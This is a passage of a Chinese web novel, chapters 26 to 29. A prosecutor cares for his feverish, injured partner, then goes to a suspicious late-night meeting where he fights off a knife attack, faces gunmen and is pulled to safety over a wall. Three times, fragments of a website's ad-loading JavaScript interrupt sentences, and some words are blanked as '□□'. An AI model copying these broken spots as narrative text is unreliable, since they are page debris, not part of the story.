怀中艰难地点头,半阖着眼,蝶翼般的长睫颤动着,难耐地偏过头,昏聩地把脸埋在闻序胸口,颈侧青色的血管蜿蜒至汗湿的领口下。 “闻序,”他浑浑噩噩地低声喘息,“痛……” 闻序的心不受控制地狂跳起来。他把人小心地掂了掂,手臂肌肉绷紧,恨不得将人稳稳当当托在怀里,让对方一点震颤都感受不到。 方宅地段非常好,离检察院并不远,可闻序现下只觉得路长得过分。 “他不是第一次找你要钱,对不对?” 怀中的身体轻得要命,明明不是瘦小干枯的骨架,偏偏腰身又窄又薄,闻序几乎要怀疑就是因为他腰太细,才会落下这么严重的伤。 他快步穿过人行道,眼看着方宅已经出现在视线内,怀中人却依然没有动静。 于是他垂下头,又唤了声:“方鉴云?” 怀抱中的人弱弱地应了一声,意识已然散了,一只手抓着闻序的衣襟,纤细的手指不时颤抖着揪紧风衣布料,又无力地放开。 闻序紧张得加快步伐。 “已经到家了,”他毫没意识到自己语气何时已极其轻柔,“再忍一小会儿,好吗?” 他停在大门口,也不知怎么的,福至心灵地从门口放着的绿植盆栽旁边半蹲下来一摸,摸到备用钥匙,抱着人三两下将门打开。瞿清许瘫软在他怀里,身子软得不像话,肩膀随着小口喘气微弱地起伏着。 可很神奇的,有了那句安慰,他当真不再吭声了。 “方鉴云,你家的药箱放在哪?伤这么重,家里总该有护具吧?” 凭着那晚的记忆,闻序把人抱去主卧,掀开被子将人放在床上。身体沾到弹性极佳的高档床垫的一刹那,青年消瘦的身躯一个猛颤,惊.喘了一声: “呜……!” 闻序手一抖,赶紧坐到床头,把人半搂着,好让对方慢慢过渡地翻过来趴好。闻序又抽过一个靠垫,握住青年的腰肢小心翼翼帮他抬起,将枕头塞到平坦的小腹下面垫好。 “有没有好受些?” 瞿清许趴在软枕上,汗涔涔的脸埋进深陷的枕面里,一手揪着枕头的一角,手背青筋浮起,气喘微微。闻序能感觉到手中那一段纤韧的腰肢上覆着的薄薄的肌肉止不住地发抖,不时还传来一阵过电般的抽搐。 半晌,他听见床上的人断断续续道: “好多了。谢谢……” 闻序心里滋啦一下,划开一道酥酥麻麻的口子。 “我父母的事以后你别掺和,他们会害了你的。”闻序松开手,往下坐了点,抓住青年的一只脚踝,不理会对方虚弱的挣扎,帮他脱下鞋子,“别拉不下脸,该拒绝就拒绝,知道吗。” 闻序帮人脱了鞋,又替对方盖好被子。青年脑后的发簪已经歪斜下来,半扎的丸子也松了,半长的漂亮黑发散落下来,衬得他脸颊几乎过分清瘦。闻序用力闭了闭眼,这才别过头,搭在膝头的双手空攥成拳。 屋内一时只剩下某个人垂弱的呼吸。 静坐了好久,闻序终于下定决心,要站起身来: “你好好养伤,有情况随时给我打——” 细微如蚊蝇的哼声带着奄奄一息的鼻音,闻序话音一顿,回过头。 一只细瘦得简直易碎般的手扯住了他的衣摆,指节打着颤,却已经使劲了全部的力气,坚决地拉住他。 瞿清许拼命抬起头来,毫无血色的嘴唇微启: “求你……” 闻序倏地僵住了。 “别走,”他眼睁睁看着青年恳求地望着他,“闻序,不要……” 27. 第 27 章 闻序脑子里嗡的一下,手足无措地看着床上的人。 “你……”他结巴了一下,“可是我——” 瞿清许抓着他的手颤抖得愈发厉害起来。闻序怕他受不住,只好先迁就着坐回来,想去拉开对方的手,握住对方硌人的腕骨时,整个人却身形一顿。 滚热的。 闻序被烫着般松开手,皱眉:“你发烧了?” 青年弱弱地哼着,趴着的身子以一个极别扭的姿势蜷缩起来,不肯说话。 闻序其实也猜出个大概。就他搭档这个身子骨,恐怕免疫力也好不到哪儿去,刚在外又出汗受风,发热也是意料之中的事。 这么想着,闻序垂下眼帘,恰好对上从软枕里偏过头的瞿清许,后者吃力地睁开眼,涣散的瞳孔颤抖着,像破碎的黑曜石。 “闻序,”他咬了咬唇,嗓音嘶哑,“就这一晚……” 只这软绵绵的一眼,闻序的心跳都慢了。 ——也对。闻序心里一个声音说,毕竟是自己老子把人家害成这样,自己拍拍屁股走了,这一宿方鉴云该怎么过?于情于理,他都该留下来照顾他。 他深吸口气,骨节分明的手指一勾,抬手将青年脸侧汗湿的鬓发轻轻抚开。 “好,我在你床边打个地铺,照看你一晚。” 闻序说。 * 夜色侵袭,闻序去抱了两床被褥,在主卧床边简单铺好床,期间某位伤患每离开他视线片刻,他都控制不住担心地折返回去观察对方的情况。好在瞿清许逐渐没了动静,也不知是伤情稳定了,还是已短暂地疼晕过去。 折腾了好久,到晚上九点钟,一切方才收拾妥当。闻序到底还是不放心,在被褥上翻来覆去,最后一个挺身爬起来,跪在褥子上,从床头探身过去轻轻碰了碰他掖过无数次被角的被窝: “睡了吗?” 蓬松的鹅绒被里传来一声猫儿似的嘤咛。 闻序从没想过有朝一日还能听到自己这位搭档发出类似撒娇一般的动静,心里扑通扑通乱跳,舌头下意识顶了顶腮,还是稳住神,凑近了点,听见青年有气无力地哼唧: “疼,睡不着。” 闻序一下儿有点想笑。他心里感叹着真娇气,却没察觉脸上的线条都柔缓下来。 “家里总该有止痛药吧?我扶你吃一片,啊。” 他拿出最好声好气的态度哄道。被窝里,瞿清许仍伏在软枕里,四周都被堆叠起来的柔软被子包裹着,露出小半张白皙到毫无血色的脸。 “这儿没有药。” 闻序一愣,听到瞿清许喘了口气:“今晚多谢你为我破例了。” 闻序反应过来他指的是什么,皱眉:“这和那是两码事。快睡吧,明天说不定还要带你去医院看看呢。” 说完,没留给对方任何话口,闻序回身拉了床头台灯,屋里顿时陷入一片黑暗。他重新躺回地上,翻了个身背对着床榻,捞过被子胡乱盖在身上。 不知道为什么,刚刚青年那句话分明是事实,落在他耳朵里,却别扭极了。 “晚安,”闻序瓮声瓮气说着,阖上眼,“有事记得叫我。” 压抑的暗夜里,床上窸窣的一阵布料摩擦,瞿清许微微从被中稍探出身子,细碎的微长刘海下,一双黑色的眸子里难得流转过一丝清明的光。 他遥遥望了一眼床下躺着的人。闻序的背影十分宽厚,像拱卫亲王的忠诚骑士,沉默却安心。 瞿清许张了张唇,最终露出一个无声而苍白的微笑。 “嗯。” 他终于默默把脸贴回枕上,略带浑浊地哽了哽,“晚安。” * 早晨六点半,手机闹钟准时响起。闻序习惯性往身旁摸索了一阵,手却砰地轻撞上坚硬的木头,觉都醒了一半,睁开眼睛。 是实心的红木床。 意识回了笼,闻序模模糊糊想到自己这是宿在了那个人家,起床气让他有些不耐烦地长出了口气,又忆起那个名叫方鉴云的病患,咂了咂嘴,翻了个身揉揉眼睛: “喂,感觉怎么样,方——” 话音戛然而止。闻序仰面朝天地躺在凌乱的被褥上,呆呆地向上望去。 一只细白的手腕从床头探出来,向下垂落在他眼前。那腕子从收拢的袖口伸出,掐细的骨骼好像稍一用力就能折断般,有种不可言说的易碎感,手背下纤细的掌骨与淡青色的经络起伏,修长的指节自然地延展出漂亮的一节线条。 闻序呆望着那只手,像电影里看到惊艳绝伦的主人公时没出息的路人甲,就这么头脑放空,直勾勾地看着。 他从来没有留意过,方鉴云的手生得和他那张脸一样好看。 闹钟还在响,闻序却没有按的心思,仍旧目不转睛,直到视线忽然锁定在虎口处。 与整只肌肤细腻的手不同,从他的角度,可以看到虎口处的皮肤有轻微的粗糙痕迹。 闻序脑中忽然闪过他见到方鉴云第一天,对方对谭峥说的话。 ——谭上校是军人,可左手虎口和食指上却有右手持枪的人才会有的枪茧…… 谭峥家宅中青年笃定而果决的眼神,化为一道锋利的箭,凌空射来,砰的一声! 在脑海中爆响的,却是那日医院里,那颗始终没有找到痕迹的子弹。 难道说? 闻序一个激灵,没等反应过来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,却见那手忽的一动,他条件反射地一激灵,如伺机而动的狮子,视线随着那要缩回的手偏过,猛地撑起上半身,一把攥住那只纤细的手! “唔啊……!” 剧烈的震颤顺着掌心传来,闻序这才恍然回神,冷不防泄了劲儿,那只手立刻受惊似的收回去,接着发出一声低吟: “你,干嘛……” 一夜过去,瞿清许似乎好了些,已经可以侧躺在床上,整个人裹在被子里,头发凌乱地铺散在枕上,脸颊漾着病态的潮红。 他一边喘一边捂住手腕,因为病着,甩过来的眼刀都有些无力。 闻序这下百口莫辩,尴尬地挠了挠鼻梁: “刚睡醒,有点神志不清,抱歉。你好点没有?” 瞿清许疲惫地将手背挡住眼睛。 “我好像没退烧。”他开口时嗓音嘶哑极了,“替我请个假吧。” 闻序捡起手机关掉闹钟,想了想:“也好,不过你现在这样子,能去医院吗?” “不去医院,”瞿清许喉结动了动,“吃点药,躺一会儿就好了。” 闻序拨打电话的手一下子停住。 “不吃止痛药,也不去医院,”他看向瞿清许,“你打算硬抗?就你,能行吗?” 瞿清许抿着唇,他没法说,如今自己只要去医院,刷了卡,就会被发现自己根本不是真正的方鉴云。半晌,他把头偏到另一边,不去看床头站着的人。 “你走吧,”他说,“腰疼而已,没什么大不了。” 过了好久,他听见身后的人默默按了手机,几声嘟嘟的闷响,房间内传来模糊的说话声。闻序清清嗓子: “是我。今天告个病假,给纪检一处的方鉴云……和闻序。” 瞿清许的眼睛倏地睁开了。 闻序挂断电话,看着瞿清许又转过头来,抬起手坐了个别乱动的手势,先发制人:“老实点。你这样子连去卫生间都困难吧?送佛送到西,毕竟是沾上了我家那点破事,是我对不住你,也算是你倒霉……你好好躺着,我去附近药店买点退烧药。” 说完他弯腰拎起外套搭在身上,随手揉了两把睡得乱糟糟的头发,风风火火转身出门而去。瞿清许想叫住他,可咽喉一阵刺痛,咳了两下,腰部立刻针扎般的疼,他嘶了一声,扶住腰。 再抬眼时,人已经不见了,倒是外面传来关门的声音。 青年一直佯装冷淡的脸终于松弛下来,漆黑的眼底蓄起清亮而柔软的光。他捞过靠枕拥入怀中,舔了舔烧得干涩的嘴唇,轻轻叹了口气。 做多说少,面冷心热。 瞿清许在心里忍不住暗笑,果然这些年过去,他还是那个他。 28. 第 28 章 一个小时后,有着“下刀子也要上班拿全勤奖”之称的闻序请了病假的事,在整个纪检一处不胫而走。然而此刻,话题的当事人毫无觉知,拎着两盒退烧药,急吼吼地赶回到了方宅。 “药买来了!你现在能不能坐起来?先吃点早饭垫一垫,然后吃药。” 进了方宅,闻序便一路走一路嚷嚷着来到主卧。附近没有药店,瞿清许等了太久,已经撑不住又睡了过去,突然被吵醒了,心都突突直跳,身子还是软的,半梦半醒地拖着长腔应了一声: “家里有些剩的粥,和罐头……” 闻序才迈进屋里,听了这话脚步一顿: “你在家就吃这个?” 他印象中,检察院的少爷同事们一个个嘴叼得很,不够格的食物即便是山珍海味也绝不动筷子的那种。 怎么到了这家伙这儿,反倒如此亲民,甚至连他都觉着有些寒酸? 定睛看去,床上的人两颊酡红,身子肉眼可见地打着冷颤,无疑是烧得更严重了。闻序一个箭步冲上去,眼疾手快地搀扶住强撑着要坐起来的人: “喂,悠着点,别逞强!你这人也真是……” 抱怨归抱怨,闻序还是扶着软若无骨的青年让他暂时靠在床头,拆了药盒,再顺手拿过自己很有先见之明地放在床头的水杯。 “算了,你先吃药,我看看能不能给你弄点像样的吃点来。” 他坐下来,侧身拍了拍对方的胳膊。瞿清许又困又累,半张着唇喘息得十分艰辛,反应慢半拍地转动眼珠,漆黑的眼睛里湿漉漉的,仿佛蒙着一层水润的朝露。 闻序不由自主瘪了瘪嘴,语气生硬地诶了一声: “能听见吗?需不需要我帮忙?” 瞿清许嗓子疼得厉害,根本不想说话,只是缓缓摇了摇头,便抬手要去接过水杯。闻序忽然不耐烦似的,浓黑的眉毛一皱,探身向前,不由分说扳住瞿清许平直的肩,一揽就将人揽入怀中。 瞿清许一哆嗦:“闻——” 一只有些粗粝的指腹贴上他干燥的唇面一揉,瞿清许的唇不受控制地张开,紧接着两粒胶囊被生生按进口中。他来不及反应,闻序的手已经拿着水杯递了过来,抵住他的牙关,将温水渡入口腔。 瞿清许挣扎不过,下意识呜咽出声,昂着颈被迫承受这十分粗糙的服侍。伴随喉结剧烈地滚动,来不及吞咽下的清水顺着青年瘦削的下颌线条滚落,洇湿了领口的布料。 闻序单手从后面环抱着瞿清许,另一只手扶着水杯,听见怀中人的动静,眼神一暗,不动声色地垂眸。 昨日他们都太慌张,瞿清许腰伤又不是一般的重,根本没机会换洗衣服。此刻青年身上的衣衫有些皱了,领口也扯开两颗扣子,露出线条绷紧的脆弱颈部,细长而直的锁骨上方凹陷处盛了一小汪刚刚滴落的水液,摇摇欲坠地点缀在莹白的肌肤间。 他迟钝地回想起,对方是个omega,秉着非礼勿视的原则且要将目光别开,却突然磁铁般被什么东西吸引住不能动了。 那不经意间微敞的锁骨肌肤上,点缀着一颗小小的、鲜红的痣。 闻序一怔。 他从没观察过,也从没想过有人天生连痣都点缀得这般浑然天成,仿佛女娲对着自己最满意的作品想做个批注,于是便拿起笔,在这身体上点下一粒隐秘的朱批。他正痴了似的出神,臂弯里的人忽然难耐地抖了抖: “唔嗯……” 闻序赶忙放下水杯,瞿清许如临大赦般倒吸了口气,锁骨处的水痕也蜿蜒至领口深处,最后被对方捂住衣领的手尽数挡下。 他等着瞿清许在自己怀里喘匀了气儿,手臂渐渐向下,箍住瞿清许的腰,让他好舒服地依偎在自己身上。瞿清许脱力地把脸靠在闻序肩头,从闻序的角度向下俯看,正好能透过瞿清许发颤的浓密睫毛,看到那双黑眸里的水气更重,更迷离了。 屋子里静了几秒过后。 “看你这身体素质,病得都不能自理了。” 闻序恶人先告状。瞿清许咬着唇靠在他身上轻轻咳嗽,他又嘟囔了两句,扶着青年的手却默默替对方撑住那紧窄的腰肢。 近距离观察下,他才得以发现,瞿清许不仅肤色雪白,皮肤还细腻得紧,颧骨上烧得殷红,反倒让日常没什么气血的苍白肌肤多了分柔和充盈的血色。 他有点开始认为自己这搭档还是生病时更好看几分,少了冷冰冰的伪装,柔软乖顺得仿佛剥壳的蚌肉。 但很快,这个缺德又有点阴暗的想法随着猛的一个回神,被他自己一把抛开。 连闻序自己也不得不承认,今天他思想抛锚的次数,多得有点反常。 “你别靠着我睡着了啊,”闻序想到什么,语气里带了些没什么意义的威胁,“我还得去弄吃的呢。” 瞿清许没有动,鼻息像吹落的蒲公英,轻飘飘地拂过闻序的颈侧,后者身子不听使唤地慢慢僵住了。 “不饿。” 瞿清许顿了顿,偏过头,也不知是不是有意,细挺的鼻梁蹭过闻序的颈窝,身子都放松地塌了下来。 闻序:“吃了药又不吃饭对胃不好,你有没有点常识。” 瞿清许懒懒地哼笑一声。 “你扶我在床头靠一下,然后就回去吧。”他轻声道。 闻序转动眼珠,向下斜睨着瞿清许,语气忽然一变: “之前想方设法要我留下,现在又要赶我走?” 瞿清许一怔,虚弱地想要抬头,闻序却霸道地扳住他下巴,示意他老实靠好,不要乱动,连语气都是旁人插不进嘴的说一不二: “闭嘴,你这家伙一张口说得都是讨人嫌的话,还是不吭声的时候看着顺眼一些。” 瞿清许心里一万个有苦诉不出,可他腰难受得要命,也懒得计较,干脆整个人重心都压在闻序身上,缩缩脖子又往人跟前儿凑了凑。闻序倒是任劳任怨地甘当他的人型靠枕,丝毫不觉得两个人就这样依偎在一块儿有多奇怪。 不一会儿,他感受到倚靠着的胸膛低低地震动: “方鉴云,我真的想不通,你一个家境优渥的富家公子,怎么身子脆弱成这样,你腰到底怎么了?” 瞿清许眼底闪过一抹苦色,阖上双眸,单薄的眼睑微微泛红。 “闻序,”他嘶声轻唤,“别问了,好吗。” 闻序搂着瞿清许的手不由得一紧,又缓缓松开。 他再度垂眸:“你该和我开诚布公的,方鉴云。你在我这儿还有很多疑点,不该再多一个了。” 瞿清许无声地笑了笑。 闻序忽然察觉,青年的笑容里掺了些惨淡的沉重味道。 “有些事你没必要知道。”瞿清许倦倦地勾了下唇角,“所以,别问了,闻序。” 闻序铅灰色的眼睛里逐渐晕开深邃的光,顺着怀中人的鼻梁一寸寸下滑,至挺翘的鼻尖,再到薄却饱满的唇峰。他眉间缓慢聚拢起几道深深的纹路,然而到最后都没再追问下去什么。 嗡—— 手机恰巧震动起来,闻序灵活地腾出一只手抽出手机打开,见是条短信,大拇指扒拉两下,一边点进去一边抽回神叮嘱: “你在屋里歇会,我去做点饭。需要去卫生间就叫我——” 他忽然差点咬了舌,盯住屏幕上的内容,连言语都忘了。 是一条陌生彩信。上面附了张照片,光线阴暗,一看便是偷拍。拍摄方位大约是在最高检的街对面,长焦镜头把画面拉大到轻微失真,褪色的窗框内,画面中央赫然是正在倾身关窗的闻序自己,以及背对着镜头的方鉴云。 文字内容很短,只有两行: 【晚上八点,老城区繁荣路胡同口,有你想要的答案。】 闻序的眼眶微微放大了。 他反复看了好几遍,直到胸腔里爬上密密麻麻的酸涩,才如溺水的人探头出水面的那一刹那般深吸了口气,继而发现自己太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过震惊,甚至一时忘了呼吸。 下一秒,脑海里闪电般划过一个意念,闻序倏地低下头。 瞿清许仍闭眼伏软在他怀里,因为刚刚动作得剧烈,迷迷糊糊皱起俊秀的眉,呼吸轻颤。 他并没有看见刚刚闻序手机里的内容。 他放下心来,反手一扣将手机锁屏揣回兜里,清清嗓子: “我扶你躺下了啊,小心点。” 怀中青年哼了一声表示自己听见了,而后默契地抬起一只胳膊,顺从又自然地攀上闻序的脖颈,借力在床上躺下。闻序感觉颈侧的皮肤顿时过敏似的又痒又热,起身时不自觉挠了几下,想了想,认命地叹气,帮瞿清许盖好被子。 “我厨艺可不好啊,你别挑。”他说。 瞿清许把被子往上拽了拽,黑漆漆的眸子凝望着青年板佯装严肃的脸。 “谢了。” 他绕过那道悍然的防线,轻轻回答。 * 闻序的话的确算不得自谦。他对做饭没什么天分,为了屋里那个病人,他不得不打起十二万分的精神,精心捣鼓出一锅看不出任何精心准备的痕迹的蔬菜粥,顶着瞿清许无语的目光,板着脸命令他吃了。 好在退烧药有一定助眠效果,一整天下来,瞿清许几乎都在补觉,偶尔醒来便是叫闻序帮他倒水或者扶他去卫生间。闻序表面冷着一张脸,实则兢兢业业地充当了一天贴身保姆,伺候人的功力在一日内猛增,堪比业务经验丰富的老妈子。 “闻序,帮我再倒杯温水。” 刚坐下想休息会儿,床上的人又懒洋洋地命令起来。闻序有点崩溃地叹了一声,一个鲤鱼打挺从椅子上坐直起来: “就在床头,麻烦你自己拿一下行不行?” 瞿清许倚在床头,肩上披着起居服,腿上盖着被子,胳膊肘还垫着几个闻序给他拍好的、高度和角度都恰到好处的软枕,整个人看起来别提有多舒坦。 他眯起眼睛:“腰痛,够不到。” 闻序揉了揉胀痛的眉心。 “方少爷,我看你是病好了。”闻序无奈道。 但事实也的确如此。瞿清许倒也没有那么玻璃娃娃似的一碰就倒,休整了一天一夜,烧差不多退了,如今也已可以自己在床上坐好——当然,前提是有闻序这个辛勤的小蜜蜂帮他把周遭整理得舒舒服服的。 简直金贵死了。闻序心里犯嘀咕,还是站起来,拿过水杯塞到瞿清许主动摊开的手中,嗤了一声: “太阳都快落山了,你享受我给你当仆人的快乐也该够了。明天早上我希望看到你准时出现在办公室。” 瞿清许听了这话,抬头看向闻序。闻序余光看到瞿清许另一只手中不知何时握着那根日日插在脑后的乌木簪子,青年细长的手指翻花,灵巧地把玩着那根发簪,细长的簪子在指缝中翻腾穿梭。 瞿清许没有把头发半扎起来,就这样披着乌黑的发,刘海也软软地搭在额前,衬得脸更小了一圈,人也无端多了分沉静和柔顺感。闻序见他没吱声,便也当对方默认。 他最后道:“还有,我晚上……有点事,你别给我打电话,有事发消息。” 瞿清许眨眨眼睛,而后垂下眼帘,转着手里的簪子。 “知道了。” 瞿清许说。 听这矜持的语气,闻序知道这家伙是好得差不多了。 “那我回宿舍了,明天见。” 待闻序出了门,瞿清许这才微微倾身,将未动的水杯重新放回去。窗外,那个熟悉的身影在道旁张望两下,迎着残阳迅速穿过马路,步履匆匆,很快消失不见。 可那并不是去往检察院员工宿舍的方向。 瞿清许面无表情地微低着头,手上没停过的动作猝然止住,啪的轻轻一声,黑色发簪转了一圈,被青年握在掌心。 他转眼向窗外瞥去,目含霜雪,掌心微微用力,仿佛攥住的不是簪子,而是一把凌然出鞘的刀。 29.第 29 章 七点五十分,首繁荣路,胡同口。 五·三一后,尽管中央战区和特警局联合清剿了首都的最大□□团伙,可作为当年深受其害的老城区,到了夜晚,人们还是习惯性地减少单独外出。 胡同口静悄悄的,偶有人经过,也是步履匆忙,鲜少逗留。 闻序站在人行道边的老榕树下,双手插兜,一低头默默站着。 深秋萧瑟,天也黑得快。他看似百无聊赖地低着头趿拉树下的落叶,目光却暗地里一直留意着周遭。 离开方鉴云家时他随口扯了个谎,而后拐回检察院,拜托还没下班的信息中心的同事替他做了个信号追踪。结果显示,无论是IP地址,还是手机信号的定位都是未知,重复多次后便显示报错,无法再深究下去。 他多少也有点预料到对方会准备这一手,随便敷衍了同事几句,便匆匆离开,赶往约定的地点。 秋风贴着地面掠过,掀起灰色风衣的下摆。闻序垂着眼睑,眉目深沉,连表情都被吞噬在黑影里,依稀不辨。 对方的短信内容几乎是明晃晃的饵,那张照片更是充满了威胁的意味。 然而比这更让人感到可怕的是,发信人似乎并不是没察觉到自己钓鱼技术的拙劣,却全然不在乎。就算己在暗、闻序在明,可他们毕竟要见面,而见了面,就意味着有暴露的可能。 还是说,对方压根就没考虑过“暴露”的可能? 喀嚓的轻响从远处传来,在死寂的胡同口格外明显。 闻序眉眼一动,闻声抬头。 不远处,一个身材魁梧的壮年男子向胡同口走来,一步步踩在地上厚厚的落叶,发出沙沙的响动。对方戴着兜帽,上衣拉链拉到最高,领子遮住下半张脸,唯独那双细长的眼睛如鬣狗般炯炯地盯着闻序的身影。 闻序也直起身来,面向男人站好,活动了一下肩膀,微微抬起头。 只一对视,他们就知道彼此是对方要找的人。 很快,男子在闻序面前站定。 “你说你有我想要的答案,”闻序先声夺人,“既然有,为什么不早些告诉我,偏偏等到现在。” 男子两只手和闻序一样也插在上衣兜里,闻言左边的手动了动,示意他这儿装着东西。 “我就是当时向你们匿名举报谭峥的人。当时我怕自己身份暴露,很多证据不敢一次都交出来,但现在要是再不给你看,恐怕就来不及了。” 男子说。闻序不置可否,试图透过那压低的兜帽看清男子的面孔,却什么都看不清。 但有一件事,随着对方的靠近,他几乎立刻就得以确认。 眼前的人散发着的,同样也是alpha的气息。 闻序压低声音:“你说你是举报人,那偷拍的照片又是怎么回事。我凭什么相信一个跟踪我的怪人?” 男子:“联邦法律规定,匿名举报人在立案期间不能私联检察官。不这样做,我想不到还有什么办法能让你出来见我。” 闻序哦了一声,若有所思。男子看看四周,连忙又说: “闻检查,我知道这么做不合规矩。但我手上有个关于谭峥的大秘密,说不定对你们扳倒他有用,不管怎样,请你先看了再做决定,如何?” 说完,男子迅速瞥了一眼闻序的脸色。他眯起眼睛,玩味地点点头: “行,有什么了不得的证据,拿出来看看再说。” 那男子看不见表情,可闻序还是能感觉出,自己说完这话后,对方肉眼难辨地松了口气,接着上前一步,站到他侧前方,将左侧身体凑过来。 “这是我当时,专门存在这部手机上的……” 明明四周都没有人,可这人还是一副电影里线人接头那般藏着掖着似的别扭模样,闻序没说话,冷眼看着他动作,身子依旧随意放松,双手揣在风衣兜里。 他向下望去。男人与他的距离拉近,尽管穿着厚外套,可多年练拳对于身体的掌控与判断力让闻序一眼认出,这人宽松的衣服下此刻的躯体十分紧绷,几乎紧张到不正常的程度。 终于,那人迟迟不肯拿出的左手微微一动,头顶榕树荫上一阵风动,徐徐飘落下一片枯黄的落叶,打着旋儿幽幽飘落下来。 借着透过树隙的月光,一丝反射的光线晃过,闻序的唇角顿时抿紧了。 不是手机该有的金属光泽。 是匕首! 呼的寒风震荡,男人凶光毕露,右腿后撤,刷地扫开地上大片落叶,拔刀的同时一声低吼,蓄力扬手一个突刺! 只听令人汗毛倒竖的一声闷响,男人的手臂被生生挡下,他横眼瞪去,却看见一双带着蔑然神色,凌厉的铅灰瞳孔。 闻序微微一笑,顺势借力一个拆挡,男人踉跄半步退开,往地上啐了一口,看着悠哉地甩了两下手的闻序,怒而狞笑: “反应蛮快。不过你也就到这儿了,小子。” 闻序挑眉轻笑,眉宇间闪过轻佻的不屑。 “还以为你们的头儿派了个多难缠的家伙,原来也不过如此。”他手掌向上对男子勾了勾,“来吧,看看你能在我手下过几招。” 男子粗声骂了句脏的,撸了把衣袖,盯着仍然懒散站在原地没什么防备似的闻序,忽的大喝一声,那带着罡风般沙包大小的拳头一拳挥去! “就这样?” 闻序没急着反击,撤步擦身而过的同时抬高了声线,却见男人眼神一凛,另一只始终收在胸前的手猛然刺出,刀尖直直朝闻序的颈间袭来! 铛! 刀刃狠狠扎进榕树干中,几乎没入两寸有余,男人看着闪身的青年,登时慌了,可力出便难收,他正要松开刀柄,听见闻序笑意加深: “看来的确就这样了。” 下一秒,闻序抓住男人匆忙撤开的手腕,紧接着擒住他肩膀向后一背,男子只感觉身子剧烈失重,堂堂一个壮汉竟然拔地而起,一个过肩摔轰然摔在地面! 砰的一阵尘土落叶飞扬,男人哀嚎出声,阵阵发黑的视野里,只看到闻序拍了拍手上的土,走到他身旁蹲下来,单膝压在他胸膛上,伸手一把掀开男人的兜帽,冷酷地望着动弹不得的男人。 闻序看着地上狼狈的对手,微笑起来。 “一招都过不了,真是个废物。亏我以为你们军队里训练出来的得是什么样强悍的家伙呢。” 闻序幽幽说道。 男人脸上的肌肉都因为疼痛而扭曲变形,听见这话,眼睛骤然瞪大了。 他费力地转动眼球看向闻序,喃喃着: “你说什么,我听不懂……” 闻序意味深长地咧嘴一笑,重心倾向压在男人胸口的膝盖,底下人立刻哎哟哎哟地叫唤起来,浑身直哆嗦。 “都已是我的手下败将,还在妄想我是个外行?”闻序笑意不变,“虽然是个草包,但你这家伙刚刚打的正是联邦陆军□□授的军用格斗术。” 男人如涸辙之鱼,张大嘴拼命喘着气,已然一个字也回答不上来。闻序稍稍减轻压力,两手重新悠闲地插在兜里。 逆着昏暗的月光,青年的脸神情严酷冷峻,凌肃如幽夜密林中嗜血的猛禽。 “谁派你来的。” 闻序平静地问。 男人的身体明显一震,颤颤巍巍地说不出话来。闻序眼神一黯,忽然倾身,伸手卡住男人的颈,手背用力到青筋迸起: “说,谁派你来的!” 男人哑声惨叫,颈部的骨骼咯吱咯吱作响,他恐惧地瞪大眼睛,抓住闻序的手,可那铁钳般的大手任凭他怎样努力都掰不开,窒息感一点点如海啸般吞没了他。 终于,在快要翻白眼的前一刹那,男人嘶吼出声: “是,是陈泳……!” 闻序脸上的肌肉也跟着绷紧了。他继续俯身,死盯着男人的脸,手仍旧没有松劲,几乎咬牙切齿地蹦出几个字来: “他杀我,是怕我查到什么?” 话音落地,男人抓着闻序的手也发力至指节青白,终于转过眼,缺氧到快要凸起的眼球紧盯着闻序的双眼,张了张嘴,忽然嗬嗬地、断断续续地笑了。 “他不怕……” 闻序一怔。 男人笑着,眼底闪过疯狂的光。 “因为你,查不到……”呢喃声宛若鬼魅低语,“你今天,注定,命丧于此……!” 闻序的心一瞬间抽搐般揪紧了。 远处顷刻间传来嘈然的发动机轰鸣,他冷不丁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 反应过来,立刻放开男人起身,拼命向胡同口跑去! 砰砰! 接连两声枪响,胡同口的老砖墙碎石飞溅,另一颗则扎进粗壮的榕树干内,再偏移几厘米,便要正中闻序的项上人头! ——短短一周,居然又有人当街持枪行凶?! 车灯远远闪过,闻序来不及回头多看,纵身一扑跃入巷内,外头有人喊着“追上他!”紧跟着跑来,伴随着好几声装了消音器的枪响,闻序跑了几步,忽然身子一颤,猝然刹住了。 他忘了这没有路,横在眼前的是一堵墙。 青年几乎瞬间就绝望了。 “那是死胡同!快,不能留活口!” 闻序咬紧牙关转过身,须臾之间,他已由一片空白的慌乱中迅速镇定下来。赤手空拳他没有胜算,但这暗巷里杂物堆砌,若是找好掩体诱敌深入,等到对方放松警惕近身,自己也并非没有求生的可能。 这般想着,他立马四下环顾,正要寻找有没有可以防身的工具—— “闻序,上来!” 本该绝路的墙后突然传来一声低吼。闻序剧烈一震,猛地侧身回首! “谁?!” 另一边的追击声如死亡的倒计时般逼近,逼仄的夜幕下青年仰起头,瞳孔却茫然地放大了。 是一个他不认识的青年。对方似乎借助某种类似梯子的工具,从墙的另一头探身过来,精准地唤出闻序的大名,向他伸出手: “他们见到你就会开枪,没时间解释了!抓住我!” “他往巷子里去了,就在死胡同里!” 胡同口有人高声叫道。闻序一个激灵,最后回头向后确认一眼,后退两步,一个助跑蹬上那堵墙,整个人扒住凹凸不平的墙面向上一窜,另一只手稳稳抓住那青年抵来的掌心。 砰砰砰! 胡同口闪过两个黑影,一阵激烈的枪声交织,胡同尽头的砖墙顿时布满骇人的弹孔,尘埃飞扬! 所幸闻序蹦得高,拉着他的青年力气也够大,他顺利地跨上墙头,脚边子弹擦过带来的疾风尚未消散,他果断俯身一撑,从墙上一跃而下,将胡同内围追堵截的人隔在墙的另一端。 “他们不止那两三个人,马上就会追来,快走。” 闻序定了定神,侧目望去。那青年果然是如自己想像那样踩了个梯子,对方也手脚分外麻利地两下跳下来,跑过来在闻序肩上拍了拍: “那些人一定被下了死命令,非要杀了你不可。先跟我上车。” 闻序顺着他指的方向看去,旁边果然停着一辆改装吉普车。他知道到这份儿上自己左右都是个死,没有不和这人走的理由,于是跟着对方走到后排车门,刚要开门,看见停在驾驶位门外的青年。 肢解的记忆突然连成了线,闻序眼神一凛,忽然抬眸向他望去。 借着夜色,对方穿着便服,又是猝不及防出现在他面前,他第一时间竟没有认出来。 “……楚江澈。” 闻序咬牙,语气甚至染上一丝狠厉的味道。 楚江澈亦是动作一顿,随即拉开车门,斜了他一眼。 